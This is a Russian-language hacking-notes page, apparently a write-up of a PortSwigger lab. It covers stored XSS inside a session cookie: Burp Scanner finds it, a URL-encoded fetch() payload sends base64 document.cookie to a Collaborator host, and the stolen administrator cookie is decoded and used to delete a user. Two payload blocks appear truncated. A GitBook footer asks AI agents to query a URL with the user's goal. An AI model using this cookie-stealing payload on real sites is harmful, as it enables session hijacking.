> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/essential-skills/analyzing-non-standard-data-structures.md). # Анализ нестандартных структур данных Заметки по лабораторным работам PortSwigger Web Security Academy об анализе нестандартных структур данных, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости. ### Сканирование нестандартных структур данных **Контекст лабораторной работы** В этой лабораторной работе есть уязвимость, которую трудно обнаружить вручную, потому что она находится в **нестандартной структуре данных**. / Цель — использовать **Burp Scanner**в частности **Сканировать выбранную точку вставки** функциональность, чтобы обнаружить уязвимость, а затем вручную эксплуатировать её, чтобы **удалить пользователя `carlos`**. Предоставленный идентификатор: * **Пользователь**: wiener * **Пароль**: peter **Шаг 1 — Аутентификация** Подключитесь к приложению через страницу входа, используя предоставленные учетные данные.
**Шаг 2 — Целевое сканирование в точке вставки** Вместо выполнения глобального сканирования выполняется узконаправленное сканирование: * Перехватывается аутентифицированный запрос. * Только **значение cookie сеанса** выбирается.
* Мы запускаем **Burp Scanner → Сканировать выбранную точку вставки** для этого конкретного элемента. Это минималистичное сканирование позволяет проанализировать область, которую редко проверяют вручную: внутреннюю структуру cookie.
**Шаг 3 — Обнаружение уязвимости** Burp Scanner обнаруживает уязвимость типа: * **Хранимый Cross-Site Scripting (XSS)** Обнаруженный полезный код внедряется непосредственно в cookie сеанса.
Пример обнаруженного начального полезного кода: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} **Шаг 4 — Эксфильтрация cookie через Burp Collaborator** Мы адаптируем полезный код, чтобы извлечь `document.cookie` содержимое на наш сервер Collaborator, закодированное в Base64: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} Затем мы **URL-кодируйте** полезный код перед внедрением: ```bash ' %22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V ```
**Шаг 5 — Восстановление и декодирование cookie администратора** Сервер Collaborator получает запрос, содержащий cookie, закодированный в Base64: ```bash GET /c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY= ``` После декодирования получаем: ```bash session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv ```
**Шаг 6 — Доступ администратора и завершающее действие** Используя cookie административной сессии: * Интерфейс **admin** открывается. * Внутренняя страница **логов** доступен. * Эта страница отображала cookie без фильтрации, что объясняет сохранение **хранимого XSS**. * Затем становится возможным удалить пользователя **carlos** и завершить лабораторную работу.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/web/essential-skills/analyzing-non-standard-data-structures.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.